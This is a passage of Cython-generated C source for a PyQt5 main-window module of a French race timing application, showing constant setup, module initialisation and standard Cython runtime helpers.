self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) # <<<<<<<<<<<<<< * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) */ __pyx_tuple__698 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Quit_le_programme); if (unlikely(!__pyx_tuple__698)) __PYX_ERR(0, 1101, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__698); __Pyx_GIVEREF(__pyx_tuple__698); /* "Ui_MainWindow.py":1102 * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) * self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) # <<<<<<<<<<<<<< * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) * self.actionEnregister.setText(_translate("MainWindow", "&Enregister")) */ __pyx_tuple__699 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Nouvelle_Course); if (unlikely(!__pyx_tuple__699)) __PYX_ERR(0, 1102, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__699); __Pyx_GIVEREF(__pyx_tuple__699); /* "Ui_MainWindow.py":1103 * self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) # <<<<<<<<<<<<<< * self.actionEnregister.setText(_translate("MainWindow", "&Enregister")) * self.actionEnregistrer_Sous.setText(_translate("MainWindow", "Enregistrer &Sous")) */ __pyx_tuple__700 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Ouvrire); if (unlikely(!__pyx_tuple__700)) __PYX_ERR(0, 1103, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__700); __Pyx_GIVEREF(__pyx_tuple__700); /* "Ui_MainWindow.py":1104 * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) * self.actionEnregister.setText(_translate("MainWindow", "&Enregister")) # <<<<<<<<<<<<<< * self.actionEnregistrer_Sous.setText(_translate("MainWindow", "Enregistrer &Sous")) * */ __pyx_tuple__701 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Enregister); if (unlikely(!__pyx_tuple__701)) __PYX_ERR(0, 1104, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__701); __Pyx_GIVEREF(__pyx_tuple__701); /* "Ui_MainWindow.py":1105 * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) * self.actionEnregister.setText(_translate("MainWindow", "&Enregister")) * self.actionEnregistrer_Sous.setText(_translate("MainWindow", "Enregistrer &Sous")) # <<<<<<<<<<<<<< * */ __pyx_tuple__702 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Enregistrer_Sous); if (unlikely(!__pyx_tuple__702)) __PYX_ERR(0, 1105, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__702); __Pyx_GIVEREF(__pyx_tuple__702); /* "Ui_MainWindow.py":12 * * class Ui_MainWindow(object): * def setupUi(self, MainWindow): # <<<<<<<<<<<<<< * MainWindow.setObjectName("MainWindow") * MainWindow.resize(800, 600) */ __pyx_tuple__703 = PyTuple_Pack(9, __pyx_n_s_self, __pyx_n_s_MainWindow, __pyx_n_s_font, __pyx_n_s_sizePolicy, __pyx_n_s_spacerItem, __pyx_n_s_spacerItem1, __pyx_n_s_item_0, __pyx_n_s_item_1, __pyx_n_s_item); if (unlikely(!__pyx_tuple__703)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__703); __Pyx_GIVEREF(__pyx_tuple__703); __pyx_codeobj__704 = (PyObject*)__Pyx_PyCode_New(2, 0, 9, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__703, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setupUi, 12, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__704)) __PYX_ERR(0, 12, __pyx_L1_error) /* "Ui_MainWindow.py":1005 * QtCore.QMetaObject.connectSlotsByName(MainWindow) * * def retranslateUi(self, MainWindow): # <<<<<<<<<<<<<< * _translate = QtCore.QCoreApplication.translate * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) */ __pyx_tuple__705 = PyTuple_Pack(5, __pyx_n_s_self, __pyx_n_s_MainWindow, __pyx_n_s_translate_2, __pyx_n_s_sortingEnabled, __pyx_n_s_item); if (unlikely(!__pyx_tuple__705)) __PYX_ERR(0, 1005, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__705); __Pyx_GIVEREF(__pyx_tuple__705); __pyx_codeobj__706 = (PyObject*)__Pyx_PyCode_New(2, 0, 5, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__705, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_retranslateUi, 1005, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__706)) __PYX_ERR(0, 1005, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_3 = PyInt_FromLong(3); if (unlikely(!__pyx_int_3)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_4 = PyInt_FromLong(4); if (unlikely(!__pyx_int_4)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_5 = PyInt_FromLong(5); if (unlikely(!__pyx_int_5)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_6 = PyInt_FromLong(6); if (unlikely(!__pyx_int_6)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_7 = PyInt_FromLong(7); if (unlikely(!__pyx_int_7)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_8 = PyInt_FromLong(8); if (unlikely(!__pyx_int_8)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_9 = PyInt_FromLong(9); if (unlikely(!__pyx_int_9)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_10 = PyInt_FromLong(10); if (unlikely(!__pyx_int_10)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_11 = PyInt_FromLong(11); if (unlikely(!__pyx_int_11)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_12 = PyInt_FromLong(12); if (unlikely(!__pyx_int_12)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_14 = PyInt_FromLong(14); if (unlikely(!__pyx_int_14)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_15 = PyInt_FromLong(15); if (unlikely(!__pyx_int_15)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_16 = PyInt_FromLong(16); if (unlikely(!__pyx_int_16)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_18 = PyInt_FromLong(18); if (unlikely(!__pyx_int_18)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_19 = PyInt_FromLong(19); if (unlikely(!__pyx_int_19)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_20 = PyInt_FromLong(20); if (unlikely(!__pyx_int_20)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_21 = PyInt_FromLong(21); if (unlikely(!__pyx_int_21)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_22 = PyInt_FromLong(22); if (unlikely(!__pyx_int_22)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_23 = PyInt_FromLong(23); if (unlikely(!__pyx_int_23)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_25 = PyInt_FromLong(25); if (unlikely(!__pyx_int_25)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_27 = PyInt_FromLong(27); if (unlikely(!__pyx_int_27)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_40 = PyInt_FromLong(40); if (unlikely(!__pyx_int_40)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_41 = PyInt_FromLong(41); if (unlikely(!__pyx_int_41)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_50 = PyInt_FromLong(50); if (unlikely(!__pyx_int_50)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_59 = PyInt_FromLong(59); if (unlikely(!__pyx_int_59)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_60 = PyInt_FromLong(60); if (unlikely(!__pyx_int_60)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_75 = PyInt_FromLong(75); if (unlikely(!__pyx_int_75)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_80 = PyInt_FromLong(80); if (unlikely(!__pyx_int_80)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_100 = PyInt_FromLong(100); if (unlikely(!__pyx_int_100)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_256 = PyInt_FromLong(256); if (unlikely(!__pyx_int_256)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_259 = PyInt_FromLong(259); if (unlikely(!__pyx_int_259)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_260 = PyInt_FromLong(260); if (unlikely(!__pyx_int_260)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_261 = PyInt_FromLong(261); if (unlikely(!__pyx_int_261)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_290 = PyInt_FromLong(290); if (unlikely(!__pyx_int_290)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_420 = PyInt_FromLong(420); if (unlikely(!__pyx_int_420)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_471 = PyInt_FromLong(471); if (unlikely(!__pyx_int_471)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_477 = PyInt_FromLong(477); if (unlikely(!__pyx_int_477)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_490 = PyInt_FromLong(490); if (unlikely(!__pyx_int_490)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_491 = PyInt_FromLong(491); if (unlikely(!__pyx_int_491)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_521 = PyInt_FromLong(521); if (unlikely(!__pyx_int_521)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_529 = PyInt_FromLong(529); if (unlikely(!__pyx_int_529)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_531 = PyInt_FromLong(531); if (unlikely(!__pyx_int_531)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_560 = PyInt_FromLong(560); if (unlikely(!__pyx_int_560)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_600 = PyInt_FromLong(600); if (unlikely(!__pyx_int_600)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_791 = PyInt_FromLong(791); if (unlikely(!__pyx_int_791)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_800 = PyInt_FromLong(800); if (unlikely(!__pyx_int_800)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_801 = PyInt_FromLong(801); if (unlikely(!__pyx_int_801)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_821 = PyInt_FromLong(821); if (unlikely(!__pyx_int_821)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1131 = PyInt_FromLong(1131); if (unlikely(!__pyx_int_1131)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_7918 = PyInt_FromLong(7918); if (unlikely(!__pyx_int_7918)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_16777215 = PyInt_FromLong(16777215L); if (unlikely(!__pyx_int_16777215)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_neg_1 = PyInt_FromLong(-1); if (unlikely(!__pyx_int_neg_1)) __PYX_ERR(0, 1, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } #if PY_MAJOR_VERSION < 3 PyMODINIT_FUNC initUi_MainWindow(void); /*proto*/ PyMODINIT_FUNC initUi_MainWindow(void) #else PyMODINIT_FUNC PyInit_Ui_MainWindow(void); /*proto*/ PyMODINIT_FUNC PyInit_Ui_MainWindow(void) #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; __Pyx_RefNannyDeclarations #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_Ui_MainWindow(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS #ifdef WITH_THREAD /* Python build with threading support? */ PyEval_InitThreads(); #endif #endif /*--- Module creation code ---*/ #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("Ui_MainWindow", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) #if CYTHON_COMPILING_IN_PYPY Py_INCREF(__pyx_b); #endif if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_Ui_MainWindow) { if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "Ui_MainWindow")) { if (unlikely(PyDict_SetItemString(modules, "Ui_MainWindow", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global init code ---*/ /*--- Variable export code ---*/ /*--- Function export code ---*/ /*--- Type init code ---*/ /*--- Type import code ---*/ /*--- Variable import code ---*/ /*--- Function import code ---*/ /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "Ui_MainWindow.py":9 * # WARNING! All changes made in this file will be lost! * * from PyQt5 import QtCore, QtGui, QtWidgets # <<<<<<<<<<<<<< * * class Ui_MainWindow(object): */ __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_QtCore); __Pyx_GIVEREF(__pyx_n_s_QtCore); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_QtCore); __Pyx_INCREF(__pyx_n_s_QtGui); __Pyx_GIVEREF(__pyx_n_s_QtGui); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_QtGui); __Pyx_INCREF(__pyx_n_s_QtWidgets); __Pyx_GIVEREF(__pyx_n_s_QtWidgets); PyList_SET_ITEM(__pyx_t_1, 2, __pyx_n_s_QtWidgets); __pyx_t_2 = __Pyx_Import(__pyx_n_s_PyQt5, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QtCore, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QtGui); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QtGui, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QtWidgets, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_MainWindow.py":11 * from PyQt5 import QtCore, QtGui, QtWidgets * * class Ui_MainWindow(object): # <<<<<<<<<<<<<< * def setupUi(self, MainWindow): * MainWindow.setObjectName("MainWindow") */ __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_builtin_object); __Pyx_GIVEREF(__pyx_builtin_object); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_builtin_object); __pyx_t_1 = __Pyx_CalculateMetaclass(NULL, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_Py3MetaclassPrepare(__pyx_t_1, __pyx_t_2, __pyx_n_s_Ui_MainWindow, __pyx_n_s_Ui_MainWindow, (PyObject *) NULL, __pyx_n_s_Ui_MainWindow, (PyObject *) NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); /* "Ui_MainWindow.py":12 * * class Ui_MainWindow(object): * def setupUi(self, MainWindow): # <<<<<<<<<<<<<< * MainWindow.setObjectName("MainWindow") * MainWindow.resize(800, 600) */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_13Ui_MainWindow_13Ui_MainWindow_1setupUi, 0, __pyx_n_s_Ui_MainWindow_setupUi, NULL, __pyx_n_s_Ui_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__704)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_3, __pyx_n_s_setupUi, __pyx_t_4) < 0) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":1005 * QtCore.QMetaObject.connectSlotsByName(MainWindow) * * def retranslateUi(self, MainWindow): # <<<<<<<<<<<<<< * _translate = QtCore.QCoreApplication.translate * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_13Ui_MainWindow_13Ui_MainWindow_3retranslateUi, 0, __pyx_n_s_Ui_MainWindow_retranslateUi, NULL, __pyx_n_s_Ui_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__706)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1005, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_3, __pyx_n_s_retranslateUi, __pyx_t_4) < 0) __PYX_ERR(0, 1005, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":11 * from PyQt5 import QtCore, QtGui, QtWidgets * * class Ui_MainWindow(object): # <<<<<<<<<<<<<< * def setupUi(self, MainWindow): * MainWindow.setObjectName("MainWindow") */ __pyx_t_4 = __Pyx_Py3ClassCreate(__pyx_t_1, __pyx_n_s_Ui_MainWindow, __pyx_t_2, __pyx_t_3, NULL, 0, 0); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Ui_MainWindow, __pyx_t_4) < 0) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_MainWindow.py":1 * # -*- coding: utf-8 -*- # <<<<<<<<<<<<<< * * # Form implementation generated from reading ui file 'defGui/MainWindow.ui' */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init Ui_MainWindow", __pyx_clineno, __pyx_lineno, __pyx_filename); } Py_DECREF(__pyx_m); __pyx_m = 0; } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init Ui_MainWindow"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if PY_MAJOR_VERSION < 3 return; #else return __pyx_m; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule((char *)modname); if (!m) goto end; p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* RaiseArgTupleInvalid */ static void __Pyx_RaiseArgtupleInvalid( const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found) { Py_ssize_t num_expected; const char *more_or_less; if (num_found < num_min) { num_expected = num_min; more_or_less = "at least"; } else { num_expected = num_max; more_or_less = "at most"; } if (exact) { more_or_less = "exactly"; } PyErr_Format(PyExc_TypeError, "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", func_name, more_or_less, num_expected, (num_expected == 1) ? "" : "s", num_found); } /* RaiseDoubleKeywords */ static void __Pyx_RaiseDoubleKeywordsError( const char* func_name, PyObject* kw_name) { PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION >= 3 "%s() got multiple values for keyword argument '%U'", func_name, kw_name); #else "%s() got multiple values for keyword argument '%s'", func_name, PyString_AsString(kw_name)); #endif } /* ParseKeywords */ static int __Pyx_ParseOptionalKeywords( PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name) { PyObject *key = 0, *value = 0; Py_ssize_t pos = 0; PyObject*** name; PyObject*** first_kw_arg = argnames + num_pos_args; while (PyDict_Next(kwds, &pos, &key, &value)) { name = first_kw_arg; while (*name && (**name != key)) name++; if (*name) { values[name-argnames] = value; continue; } name = first_kw_arg; #if PY_MAJOR_VERSION < 3 if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) { while (*name) { if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) && _PyString_Eq(**name, key)) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { if ((**argname == key) || ( (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) && _PyString_Eq(**argname, key))) { goto arg_passed_twice; } argname++; } } } else #endif if (likely(PyUnicode_Check(key))) { while (*name) { int cmp = (**name == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**name, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { int cmp = (**argname == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**argname, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) goto arg_passed_twice; argname++; } } } else goto invalid_keyword_type; if (kwds2) { if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; } else { goto invalid_keyword; } } return 0; arg_passed_twice: __Pyx_RaiseDoubleKeywordsError(function_name, key); goto bad; invalid_keyword_type: PyErr_Format(PyExc_TypeError, "%.200s() keywords must be strings", function_name); goto bad; invalid_keyword: PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION < 3 "%.200s() got an unexpected keyword argument '%.200s'", function_name, PyString_AsString(key)); #else "%s() got an unexpected keyword argument '%U'", function_name, key); #endif bad: return -1; } /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = func->ob_type->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* GetModuleGlobalName */ static CYTHON_INLINE PyObject 